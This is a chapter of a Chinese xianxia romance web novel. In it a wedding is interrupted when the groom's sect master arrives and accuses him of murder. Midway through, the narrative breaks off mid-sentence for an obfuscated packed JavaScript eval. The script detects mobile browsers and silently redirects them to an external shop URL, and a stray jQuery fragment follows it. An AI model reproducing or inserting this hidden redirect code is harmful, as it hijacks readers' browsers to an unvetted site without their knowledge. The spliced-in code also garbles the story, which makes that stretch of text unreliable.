窗棂贴上喜字,檐角挂满串串红灯,院子扫得一尘不染,廊下系着绯红绸带,风拂过便轻轻摇曳。

    一身红衣的少女坐在镜子前。

    柔软的头发绾成复杂的发髻,鎏金头面上镶嵌了一颗圆润的珍珠,稀碎的流苏垂在耳侧。

    额头上点了红纹花钿,明丽的五官在胭脂作用下显得更为艳丽。

    “真漂亮。”江小莺手搭在她肩膀上弯下腰看镜子,眼里不由露出一丝惊叹。

    云瑶看了看镜中的自己却怎么也高兴不起来,这打扮要是真的成亲就好了,她想归想,面上却笑着说:“漂亮归漂亮,没人告诉我这么重啊,我脖子快断了。”

    云瑶晃晃脑袋,步摇头面跟着动了动,好像顶了个石头,里三层外三层,她嘴角抽动了几下,古往今来的新娘子嘴巴都挺严的,这么一套找罪受的衣服也能忍下来。

    “大家都是这么过来的,忍忍就好。”江小莺笑了笑,主动帮她调整了发饰的位置。

    “那什么时候能吃饭。”

    云瑶叹了口气,摸了摸空空如也的肚子,她从今天早上开始就一口饭也没吃过,眼下又累又饿,马上要一命呜呼了。

    江小莺摇摇头,无奈道:“至少得等洞房时啊,你已经问我三遍了,马上要成亲了怎么还这么孩子气,是不是宋公子不在你想他了。”

    “瞎说什么啊。”

    云瑶脸颊一红,嗔怪地瞪了她一眼,好吧,宋霁月不在她确实有些不适应,都怪这人非要搞什么封建迷信。

    把成亲的日子选在了当地的龙女节,据传龙女娘娘能保佑夫妻感情和睦恩爱如初,是当地非常受欢迎的神,因此也有一些规矩。

    云瑶觉得这都是假的,但架不住宋霁月信啊,龙女的传统是夫妻二人要两天不能见面,云瑶本以为他会受不了,没想到这厮竟然真的忍住了。

    反而是她有些不适应。

    云瑶捂住胸口,视线望向窗台,厚重的云片压在天上,连太阳的光芒都被掩盖,白茫茫一片,莫名有些阴郁。

    明明昨天天空还是碧蓝如洗,怎么今天就这么暗沉,这龙女也不管用啊。

    云瑶目光多了一分忧愁,总有些不好的预感,也许是她想多了吧。

    “莺妹儿,帮我把那只金钗也带上吧。”云瑶轻声道。

    “刚才不还嫌重?”江小莺笑笑,接过金钗从善如流地在发髻里找了个位置插进去。

    金钗和头面浑然一体,压根看不出它是后来加的。

    云瑶举起手摸了摸圆润的钗子,眼中多了一丝暖意,无声地笑了笑。

    *

    敲锣打鼓的声音从门外传来,喧闹嘈杂,马上就要步入大门。

    “快带上!”

    江小莺手忙脚乱把红盖头搭在她脑袋上,云瑶牵着她的手站起来,心脏扑通扑通跳个不停,视野受到限制只能看到脚下一双红鞋子。

    按照时辰算算宋霁月也差不多到了,不知道他穿婚服是什么样子。

    正中的客室摆了两三张小桌子,他们的客人不多都是这三年来照顾云瑶生意的老人,最头上摆了两张牌位。

    一个写的柳,据说是宋霁月已故母亲的性,另一个则空空如也,因为云瑶不记得父母是谁了。

    宋霁月婚服暗绣鸾鸟纹路,头戴冠玉,腰悬玉佩,大红礼服冲散了那份挥之不去的阴郁衬出他五官的精致,犹如玉雕的人。

    云瑶从侧堂走进正房,江小莺看了前方偷笑一声松开了她,没等云瑶慌乱,一只温润有力的手便牢牢握住了她。

    房内声音嘈杂,热闹非凡,淘气的小孩没等长辈同意便抓了把桌上的糖。

    闻出对面身上淡淡的香气,云瑶勾起唇,隔着一层盖头望向宋霁月,笑道:“怎么这么早就过来了。”

    按照规定宋霁月得等云瑶自己走到牌位前才能隔着绣球牵住她。

    “早一刻晚一刻有什么区别。”

    宋霁月牵着云瑶每走一步心中都很满足,他脸上的笑容就没落下,趁别人不注意,贴着云瑶的耳朵小声道:“我接我的新娘子合情合理,别人也说不出错来。”

    话里显而易见的显摆,云瑶脸红了红,幸好有红盖头遮着什么也看不见,她瞪了宋霁月一眼,没好气道:“这么多人看着呢,你正经点。”

    江小莺趁着礼生不注意,偷摸把落在原地的绣球塞进云瑶手里。

    绣球的绸带簇在一起犹如春天里盛开的花团,云瑶牵着一头,宋霁月牵着一头。

    “云姑娘,百年好合啊。”

    “没想到你拒绝了那么多人是在等你的情郎啊,哈哈哈真是重情重义。”

    底下的宾客们善意地起哄,云瑶在葛家村待了三年,干活勤快手脚麻利,村民也愿意帮扶这个孤苦无依的姑娘,她投桃报李给老人写信从不收费,邻里邻间积攒了相当好的人缘,相处时间虽不长,大家却是真心把云瑶当做看着长大的孩子。

    盖头下云瑶的眼圈红了,绣球的带子被她捏得皱巴巴,离开宋霁月她不后悔,但离开葛家村却是真心舍不得。

    她上哪再能找到这么好的一群人啊。

    礼生请的是村里有名望的老人,着一身青衣,手上拿着礼册,嗓门很洪亮。

    “吉时已到,新人拜堂!”

    宋霁月扯了扯云瑶,二人走到牌位前站好。

    “一拜天地,日月为鉴,福运绵长!”

    “二拜高堂,感念养育,孝悌存心!”

    “夫妻对拜,此生相守,不离不弃!”

    宋霁月面对着云瑶,看着她身上的嫁衣,听着礼生的声音,悬在半空中的心,终于有一种尘埃落定的感觉,冥冥之中他就知道云瑶会是他的妻子。

    一阵强风吹过,院子里开的正好的野花被打得七零八散,落下的花瓣埋进土里,梦襄蹲在院子里,耳尖动了动,回过头不知看见了什么,一双粉红的眼睛一瞬间变了颜色。

    外面不知何时下了雨,冷风夹着雨劈头盖脸打在窗上,贴在窗棂上的喜字逐渐被揭开一角,耷拉着垂了下来。

    云瑶弓着腰心跳不知为何越来越快,那种不详的预感越来越强烈。

    宋霁月选的破龙女节,一点也不准,结到一半竟然还下雨了,真是不吉利。

    伴随着礼生最后一句话——礼成!

    二人同时抬起头,安静的人群突然喧闹起来,桌椅与地面摩擦出尖锐的声响,红盖头挡住了云瑶的视线,隔着一层薄纱,只能看见模糊

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563664|204634||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    晃动的人影。

    “怎么,出什么事了?”云瑶不安地问。

    没有人回答她,宋霁月站在原地,瞳孔轻微放大,脑子里轰隆一声,像是有什么东西炸开了。

    宋霁月怎么突然没声了,云瑶越是看不见,心中便越焦躁,猛得抛开绣球,她一把扯下碍事的红盖头。

    眼前的亮光刺激她闭了闭眼,只见目光所及之处多了一道浅白的身影。

    她身着白衣配长剑,五官端正,眉眼英气,薄唇微抿不说话时自带一种气场,令人不敢直视。

    “师尊……”

    宋霁月不可置信地喃喃道。

    师尊?云瑶深吸口气,心里咯噔一下,这就是蜀山的静尘道人,她怎么会亲自来了?

    静尘在看到二人身上的嫁衣时,忍不住蹙了蹙眉。

    “你还知道我是你的师尊,跪下。”她不紧不慢地开口,身上浓重的威压吓得在场所有人都不敢说话,宋霁月沉默片刻,双腿一弯,脊背挺得很直。

    看着宋霁月的背影,云瑶站在一旁无措地捏住袖口,她心里有些紧张,不明白原定几天后才来的人为什么今天就到了。

    静尘可不是会看别人脸色的人,想到这个好徒弟干了什么好事,她气得肺都要炸了。

    “私自离开宗门,擅闯民宅,强抢民女,滥杀无辜,破了无情道,宋霁月你可认罪?”

    “认罪。”

    修士地位高不代表为所欲为,天子犯法还与庶民同罪,刑法伤不了修士,他们内部却可以评判罪行深重给予惩罚,这是蜀山开山祖师奶立下的规矩。

    宋霁月没有什么好狡辩的,这些事都是他干的,唯一没想到的是师尊竟然为了他亲自下山。

    他真的杀了人?!

    即使有些预料,云瑶听到后身形还是晃了晃,即使过了这么多年,宋霁月在她心里却还是那个在雪天捡她回家的少年,如今骤然转变,她一时接受不了。

    但眼下不是说这个的时候。

    云瑶担心他被静尘责惩,强压下心底的不适,顾不上害怕,主动站了出来。

    “道人,不是这样的,我与宋霁月是两情相悦,不算擅闯民宅强抢妇女,至于杀人也是有理由的,那个人是个为非作歹的恶霸,他此举也算为民除害了。”

    云瑶的声音有些颤抖,宋霁月没想到她知道张强是他杀的后还愿意帮他作证,心里涌上一股热流,云瑶总是如此善良,即使自己都害怕得不行也愿意护着他。

    静尘不吃郎情妾意这套戏码,错了就是错了,身为修士当以身作则尊重民间律法,宋霁月这个行为已经严重触及她的底线。

    她冷笑一声:“小姑娘既然你愿意。前面那部分我可以不计较,但杀人不行,即使那是个无恶不作的强盗也该由官府来收拾,总归跟修士无关。”

    云瑶明白这个道理,但心里总归有些不得劲,宋霁月不想云瑶被静尘盯上,抢在她开口之前道:“我认罪,师尊,云瑶是我的妻子,她没错,希望您不要牵连她,放她走吧,我可以和你回宗门。”

    想要的东西近在咫尺,云瑶却怎么也打不起精神,那他呢,犯下这么重的罪名,宋霁月回去之后会被怎么对待,况且他真的舍得让她离开吗。